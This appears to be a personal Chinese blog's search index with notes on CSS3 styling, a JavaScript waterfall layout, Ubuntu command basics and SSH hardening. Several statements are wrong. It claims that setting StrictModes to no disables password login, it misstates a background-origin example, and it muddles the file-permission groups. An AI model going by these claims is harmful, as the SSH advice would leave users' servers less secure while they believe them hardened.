通配符\n标签的权值为1\n类选择器的权值为10\nID选择器的权值为100\n伪类选择器是10\n权值越大，优先级就越大\n优先级最大的!important,例如：\ndiv{color:#fff!important;}\n样式\n字体font-family div{font-family:\u0026ldquo;Microsoft Yahei\u0026rdquo;;}\n字体大小font-size div{font-size:16px;}\n字体粗细font-weight div{font-weight:bold;}\n字体样式font-style div{font-style:normal;}\n字体颜色color div{color:#fff;}\n文本样式text-decoration div{text-decoration:none;}\n文本首行缩进text-indent div{text-indent:2em;}\n文本行间间距line-height div{line-height:2em;}\n增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;}\n增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;}\n文本对齐方式text-align div{text-align:center;}\n定位： 定位有两种，绝对定位和相当定位\n相对定位和绝对定位都有四个属性\nleft（左），top(头)，right（右），bottom（底）\n绝对定位：\n设置绝对定位的元素会脱离文档流，所以不会占用空间\ndiv{\rposition: absolute;\r}\r绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）\n相对定位：\n相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素\ndiv{\rposition: relative;\r}\rcss有下面这些选择器\nid选择器（#myid） 类选择器（.myclassname） 标签选择器（div,h1,p） 后代选择器（h1p） 相邻后代选择器（子）选择器（ul\u0026gt;li） 兄弟选择器（li~a） 相邻兄弟选择器（li+a） 属性选择器（a[rel=\u0026ldquo;external\u0026rdquo;]） 伪类选择器（a:hover,li:nth-child） 伪元素选择器（::before、::after） 通配符选择器（*）\n在css3中使用单冒号来表示伪类，用双冒号来表示伪元素\n伪类一般用于匹配元素的一些状态，而伪元素一般用于匹配元素的位置\nCSS3 圆角\n使用border-radius属性\n可以使用1——4个值\n1个值，表示四个角都使用这个值\n2个值，表示第一个值对应左上和右下，第二个值对应左下和右上\n3个值，表示第一个值对应左上，第二个值对应左下和右上，第三个值表示右下\n4个值，表示第一个值对应左上，第二个值对应右上，第三个值表示右下，第四个值表示左下\n单独设置圆角\n左上角 border-top-left-radius 右上角\tborder-top-right-radius\n右下角 border-bottom-right-radius 左下角 border-bottom-left-radius\ncss阴影\nbox-shadow: 10px 10px 10px #fff;\n第一个值是阴影水平位移，第二个值为阴影垂直位移，第三个值为模糊半径\n第四个值为阴影颜色\ntransition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; }\nz-index属性\n该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：\n#app{\rz-index: -1;\r}\rfont-family属性\n该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体\n@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式\n#app{\rwidth: 100px;\rheight: 100px;\rbackground-color: #000;\ranimation-name: test;\ranimation-duration: 6s;\ranimation-delay: 3s;\ranimation-iteration-count: infinite;\r}\r@keyframes test {\rfrom{\rbackground-color: #000;\r}\rto{\rbackground-color: #ccc;\r}\r}\rbackground-image\n该属性可以添加背景，可以添加多张背景，例如：\n#app{\rbackground-image: url(1.jpg),url(2.jpg);\rbackground-position: left top,right bottom;\rbackground-repeat: no-repeat,repeat;\r}\rbackground-size\n该属性可以指定背景的大小，例如： #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; }\nbackground-origin\n该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：\nbackground-color: content-box;\rbackground-clip\n该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：\nbackground-clip: content-box;\r渐变分为线性渐变（直线）和径向渐变（中心）\n线性渐变（默认从上到下）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(#ccc,#000);\r}\r从左到右\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(to right ,#ccc,#000);\r}\r从左上角到右下角\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(to right bottom ,#ccc,#000);\r}\r带角度的（不能指定方向）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(30deg,#ccc,#000);\r}\r带透明度的\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0));\r}\r带重复的\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%);\r}\r径向渐变\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: radial-gradient(#fff, #ccc, #000,#fc0000);\r}\r必须要有两个以上的颜色，第一个颜色在中间，依次往外排\n同样可以设置每个颜色的占比\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%);\r}\r当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）\n#app{\rwidth: 300px;\rheight: 250px;\rbackground-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000);\r}\r还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner\n当然也提供了可以重复渐变的，例如：\n#app{\rwidth: 300px;\rheight: 250px;\rbackground-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%);\r}\r文本阴影\n#app{\rtext-shadow: 5px 5px 5px #000;\r}\r值分别为水平阴影，垂直阴影，模糊度，阴影颜色\n元素盒子阴影\n#app{\rbox-shadow: 5px 5px 5px #000;\r}\r容器文本溢出处理\n#app{\rtext-overflow: ellipsis;\r}\r文本溢出默认为text-overflow: clip\n自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）\n#app{\rword-wrap: break-word;\r}\r@font-face 规则\n该规则允许使用客户端没有的字体，例如：\n@font-face {\rfont-family: hallo;\rsrc: url(\u0026quot;hallo.ttf\u0026quot;);\r}\rdiv{\rfont-family: hallo;\r}\r必需属性font-family：字体名称\nsrc：字体文件的url\n在需要用字体的元素上font-family: 字体名称\n过渡动画，会逐渐式加载样式，例如\n#app{\rwidth: 100px;\rheight: 100px;\rbackground-color: #333;\rtransition: height 3s,width 3s,transform 3s;\r}\r#app:hover{\rwidth: 300px;\rheight: 300px;\rtransform: rotate(360deg);\r}\r当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式\ncolumn-count 属性，该属性可以将元素中的文本分成指定列，例如\n#app{\rcolumn-count: 3;\r}\r每个列之间的距离使用column-gap属性指定，例如\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\r}\rcolumn-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\r}\rcolumn-rule-width属性可以指定列的边框之间的宽度，例如\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\rcolumn-rule-width: 1px;\r}\rcolumn-rule-color属性可以指定列的边框的颜色，例如：\n#app{\rcolumn-count: 3;\rcolumn-gap: 20px;\rcolumn-rule-style: solid;\rcolumn-rule-width: 6px;\rcolumn-rule-color: #000;\r}\r当然列的边框的样式可以缩写，例如：\n#app{\rcolumn-rule: 6px solid #000;\r}\r如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如\ndiv{\rcolumn-span: all;\r}\rcolumn-width可以指定列的宽度，例如\ndiv{\rcolumn-width: 300px;\r}\rcolumn-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度\n动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\ranimation: hallo 5s;\r}\r@keyframes hallo{\r0% {background-color: #ccc;}\r25% {background-color: #fff;}\r50% {background-color: #222;}\r75% {background-color: #f3f3f3}\r100% {background-color: #777;}\r}\r0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示\n能修改颜色，当然也能修改位置，例如：\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\ranimation: hallo 5s;\rposition: relative;\r}\r@keyframes hallo{\r0% {\rbackground-color: #ccc;\rtop: 0px;\rleft: 0px;\r}\r25% {\rbackground-color: #fff;\rtop: 0px;\rleft: 300px;\r}\r50% {\rbackground-color: #222;\rtop: 300px;\rleft: 300px;\r}\r75% {\rbackground-color: #f3f3f3;\rtop: 300px;\rleft: 0px;\r}\r100%{\rbackground-color: #777;\rtop: 0px;\rleft: 0px;\r}\r}\r二维改变样式\n旋转（值为正数则顺时针转，值为负数则逆时针转）\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: rotate(60deg);\r}\r平移(根据x（左），y（上）轴决定)\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: translate(100px,100px);\r}\r放大或者缩小\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: scale(2,2);\r}\r宽度和高度是原来的2倍\n倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color: #ccc;\rtransform: skew(10deg,30deg);\r}\r同样也可以缩写为一个属性\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform:matrix(0.6,1.5,-0.5,1.2,3,3);\r}\r这个6个值分别代表旋转，放大或者缩小，平移，倾斜\n三维改变样式\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateX(60deg);\r}\r#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateY(60deg);\r}\r#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateZ(60deg);\r}\r旋转元素的起始位置\n#app{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotate(60deg);\rtransform-origin: 30% 60%;\r}\r拓展\n#app{\rwidth: 500px;\rheight: 500px;\rperspective: 200;\rperspective-origin: 10% 20%;\rbackground-color: #000;\r}\r#app div{\rwidth: 300px;\rheight: 300px;\rbackground-color:#ccc;\rtransform: rotateX(60deg);\rtransform-style: preserve-3d;\rbackface-visibility: hidden;\r}\rbackface-visibility属性用于指定背面是否显示\nperspective-origin属性用于改变底部位置\nperspective属性用于查看透视图（z只支持3D元素）\ntransform-style属性用于是否保留3d位置保留\ncss强制换行，避免文本溢出容器\nwhite-space: pre-wrap;\rnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\nfilter属性滤镜\n该属性默认值为none\n背景为黑白\nfilter: grayscale(100%);\r高斯模糊\nfilter: blur(3px);\r亮度\nfilter: brightness(160%);\r对比度\nfilter: contrast(160%);\r透明度\nfilter: opacity(30%);\r饱和度\nfilter: saturate(300%);\r阴影\nfilter: drop-shadow(5px 5px 6px #ccc);\r色相旋转\nfilter: hue-rotate(30deg);\r颠倒输入\nfilter: invert(30%);\r允许使用多个滤镜，多个滤镜有空格分开\n表格布局（现在很少用，一般都是用div+css）\n该元素会作为块级表格（例如table标签，有换行） display: table;\n内联表格（没换行） display: inline-table;\n表格行（例如tr） display: table-row;\n表格单元格（例如td） display: table-cell;\n表格标题 display: table-caption;\n单元格列 display: table-column;\n","permalink":"https://xiaochenabc123.github.io/posts/11/","summary":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{\rwidth: 100px;\rborde: 10px solid red;\rpadding: 10px;\rmargin: 10px;\r}\rtop，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：","title":"css3学习笔记"},{"content":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs');\rfunction datamain(){\rvar datawidtha = window.innerWidth;\rvar datawidthb = Math.floor(data[0].offsetWidth);\rvar dataab = Math.floor(datawidtha/datawidthb);\rvar ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))\rvar arr = [];\rfor(var i=0;i\u0026lt;data.length;i++){\rif(i\u0026lt;dataab){\rdata[i].style.top = 0;\rdata[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;;\rarr.push(data[i].offsetHeight);\r}else{\rvar datamin = arr[0];\rvar index = 0;\rfor(var a = 0; a\u0026lt;arr.length; a++){\rif(datamin \u0026gt; arr[a]){\rdatamin = arr[a];\rindex = a;\r}\r}\rdata[i].style.top = arr[index]+ ints +\u0026quot;px\u0026quot;;\rdata[i].style.left = data[index].offsetLeft + \u0026quot;px\u0026quot;;\rarr[index] = arr[index] + data[i].offsetHeight + ints;\r}\r}\r}\rwindow.onload = function () {\rdatamain();\r}\rwindow.onresize = function () {\rdatamain();\r} ","permalink":"https://xiaochenabc123.github.io/posts/10/","summary":"瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位\n首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度\n获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth\n获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight\n页面宽度：.width，容器宽度：.offsetWidth\n得到了列数后，还需要得到全部容器的高度，因此还需要用到数组，用来存储容器的高度\n遍历全部容器，还需要判断是否到了第二行，i\u0026lt;列数\n而第一行的全部容器，设置头部和左边定位，左边定位设置为容器的宽度*i，保证不会被覆盖或者溢出，同时将arr[i].offsetWidth传入新的数组中\n然后找到上一行最矮的容器，只需要将全部得到的容器的宽度判断一下就可以，首先假释一下第一个容器就是最矮的，当遍历的容器小于该容器时，那么将该容器设置为当前遍历的容器，而当前遍历的i就是最矮的容器索引值\n然后就设置下一行的容器的位置就可以了，头部：最矮的容器的高度，左边：最矮的容器距离页面最左边的宽度\n因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度\n为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)\n例如：\nvar data = document.getElementsByClassName('imgs');\rfunction datamain(){\rvar datawidtha = window.innerWidth;\rvar datawidthb = Math.floor(data[0].offsetWidth);\rvar dataab = Math.floor(datawidtha/datawidthb);\rvar ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))\rvar arr = [];\rfor(var i=0;i\u0026lt;data.length;i++){\rif(i\u0026lt;dataab){\rdata[i].style.top = 0;\rdata[i].style.left = (datawidthb+ints) * i + \u0026quot;px\u0026quot;;\rarr.push(data[i].offsetHeight);\r}else{\rvar datamin = arr[0];\rvar index = 0;\rfor(var a = 0; a\u0026lt;arr.","title":"原生js实现瀑布流布局"},{"content":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse\r注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源\n163镜像源\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse\rdeb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse\r# deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse\rsudo apt update #更新源 sudo apt upgrade #更新系统\n安装app\nsudo apt install App名字\n例如安装ssh服务：\napt update apt install openssh-server\npoweroff 立刻关机\nshutdown -h now 立刻关机\nshutdown -r now 立刻重启\nshutdown -r 10 10分钟后重启\nshutdown -r 1:00 当时间为1:00时重启\nwget 下载文件链接\n安装.deb文件\nsudo dpkg -i 文件名\n例如：\nsudo dpkg -i code_1.40.2-1574694120_amd64.deb\nclear 清除\nls和cd\ncd命令是前往指定目录\ncd ~ 前往目前使用的用户的Home目录（家目录）\ncd .. 返回上一级目录\ncd /etc/python3 前往指定目录\ncd - 返回刚刚所在的目录\ncd ../../ 向上返回两级目录\ncd ./ 前往当前目录\npwd 显示当前目录路径\nls -ah 将所有目录（包括隐藏目录）显示出来\n如果有很多层目录，那么需要一个绝对目录\n绝对目录：指目录的绝对位置，从根目录开始的路径，完整的描述文件位置的路径就是绝对路径 相对目录：指目标相对于当前文件的路径\nls (list 的简写)\nls 返回当前所在的目录的所有子目录和子文件\nls -l 返回文件的一些信息，权限，用户，文件大小，修改时间。文件名，total后面的数字是指这个目录下的文件数，包括隐藏文件\nls -a 显示所有文件，包括已经隐藏的文件(以 . 开头的)\nls -lh 这个指令和-l一样，返回权限，用户，文件大小，修改时间。文件名，不过文件大小是使用k，m这些来表示\nls \u0026ndash;help 查看ls的全部功能\ncp，mv，touch，mkdir\ntouch 新建一个文件 例如： touch hallo.py\n如果想同时建立多个文件，那么输入多个文件的名字，使用空格分开，例如：\ntouch hello.py world.py\ncp 是复制文件或者文件夹的指令，使用方法：\ncp hello.py world.py\n注意: 如果复制的文件已经存在, 它将会直接覆盖已存在的文件，那么可以： cp -i hello.py world.py 在返回的提问中回复任何大小写形式的y或者yes，将执行覆盖操作，回复其他则取消这个执行\ncp -R hello/ world/ 复制文件夹\ncp go* gogo/ 复制所有的以go开头的文件到gogo文件夹中\ncp *go gogo/ 复制所有的以go结尾的文件到gogo文件夹中\nmv 是用来移动（剪切）文件\nmv 要移动的文件 要移动到的文件夹，例如：\nmv hello.py hello/\nmv world.py hallo.py 重命名文件\nmv \u0026ndash;help 查看其他mv的用法\nmkdir hello 新建一个文件夹\nrmdir hello/world 删除hello目录下的world目录，不能删除有文件的文件夹，只能删除一个空的文件夹\nrm world/ 可以删除不是空的文件夹\nrm -i world/ 删除文件时提示\nrm -I world/ 删除超过3个文件时才提示，少于3个时不提示\nrm -r world/ 删除目录及目录下的所有文件及目录\nrm -rf world/ 删除目录下及目录下的所有文件及目录，没有提示地强制递归删除文件\nnano hallo.py nano是一个，^是ctrl键，例如ctal+x 是退出的指令\ncat hallo.py 输出一个文件的文本内容\ncat hallo.py \u0026gt; world.py 把一个文件复制成另一个文件\ncat hallo.py hello.py \u0026gt; world.py 把两个文件的内容合并到另一个文件\ncat world.py \u0026raquo; gogo.py 补充到另一个文件的内容的后面\n文件权限 例如 drwxr-xr-x\nd是说明这是一个文件夹，如果是-那么就是说明这是一个文件\nrwx r 可读，w 可写， x 可执行，如果有是-说明当前使用的用户账号不能完成某一个操作，User是当前使用的用户\nr-x r 可读，w 不可写， x 可执行，说明Others这个组的用户不能完成写入的能力，没有写入的权限，Others是指当前用户所在的组\nr-x r 可读，w 不可写， x 可执行，说明User 和 Group 以外的人不能完成写入的能力，没有写入的权限，Others是除当前用户和组之外的人\n修改文件权限\nchmod u+r hallo.py\nchmod ug+rw hello.py 给当前用户添加可读权限\n+ 为加上某一个权限 - 为去掉某一个权限 = 为等于某个权限\nu: 对于 User 修改, g: 对于 Group 修改 o: 对于 Others 修改 a: 对于所有人修改\nchmod 755 hello.py 修改文件权限 u为rwx，可读可写可执行，g为r-x可读不可写可执行，o为r-x可读不可写可执行\nr=4，w=2，x=1\nifconfig 这个命令是用来查看当前linux设备的ip\nip addr 这个命令也是用来查看当前linux设备的ip的\napt-get install net-tools 安装网络工具，用于解决ip没有分配之类的网络管理工具\nexit 退出ssh控制\ntop 查看cpu占用的一些信息\nlinux-ssh安全配置\nssh安全\nlast -f /var/log/wtmp 查看IP登陆日志\n修改ssh端口\nnano /etc/ssh/sshd_config\n找到Port，修改端口，如果修改为2222，那么默认ssh连接端口为2222，原来的22端口报废（不能使用22端口登录了，计算机有65535个端口，扫描端口都要扫半天）\n禁止root用户ssh登录\n找到PermitRootLogin，把yes修改为no\n其他ssh安全配置\nLoginGraceTime 登录一次花费多少时间，当超过这个时间，则要求重新登录\nMaxAuthTries 限制尝试登录错误的次数，当超过这个次数之后拒绝登录尝试 MaxSessions 限制每个连接可以并行开启多少个会话\nStrictModes，修改为no，为禁用密码登录\n重启sshd服务 service ssh restart\nSSH密钥登录\nssh-keygen -t rsa -b 4096 生成私钥和公钥\n在.ssh的目录下有两个文件，id_rsa 为私钥，id_rsa.pub 为公钥\ncat ~/.ssh/id_rsa.pub \u0026raquo; authorized_keys\n然后上传authorized_keys到服务器上\n上传文件可以用ftp或者scp\n例如 scp -P 2222 .\\authorized_keys pi@192.168.1.106:~/.ssh\n给.ssh目录和authorized_keys文件设置权限\nchmod -R 0700 ~/.ssh\nchmod -R 0644 ~/.ssh/authorized_keys\nssh pi@192.168.1.106 -p 2222\n就可以不用密码进行登录了\nlinux下Operation not permitted\n先看看文件权限ll，能使用root用户或者sudo最好，然后尝试chmod\n如果在root用户或者sudo下也不能对文件或者文件夹进行操作，那么\nchattr +i hello.py // 使用i属性来锁定文件，避免修改文件\nlsattr hello.py // 查看加锁\nchattr -i hello.py // 去除i属性，便可以修改该文件\na：可以修改文件，但是不能删除\ni: 不能删除，不能修改，不能移动\nifconfig // 查看网络配置，或者ip addr ls\n网卡配置文件在/etc/sysconfig/network-scripts下\n网卡配置文件名称一般为ifcfg-xxx\n默认为关闭的，需要使用DHCP获取ip，需要修改ONBOOT=no，修改为yes\n配置静态ip，需要修改BOOTPROTO为static\n添加下面内容\nIPADDR=192.168.186.128 // 设置IP地址 NETMASK=255.255.255.0 // 设置子网掩码 GATEWAY=192.168.186.1 // 设置网关 DNS1=114.114.114.114 // 设置dns\nnmcli c reload // 重启网络服务\nip addr // 查看本地IP地址以及其他网卡信息\nip link set dev eth0 up // 启用网卡 或者ifup eth0\nifconfig eth0 192.168.186.128 // 修改指定网卡的ip\nifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码\nroute -n // 显示和操作IP路由表\nroute add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1\nroute add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关\nroute del default gw 192.168.186.1 // 删除指定网关\n","permalink":"https://xiaochenabc123.github.io/posts/8/","summary":"linux发行版有很多，这里使用的是Ubuntu\n个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）\n有关于树莓派的看这个\n修改为国内源\nnano /etc/apt/sources.list\n替换内容为\n# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse\rdeb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse\r# 预发布软件源，不建议启用\r# deb https://mirrors.","title":"linux系统的日常使用"},{"content":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能\n","permalink":"https://xiaochenabc123.github.io/posts/6/","summary":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: 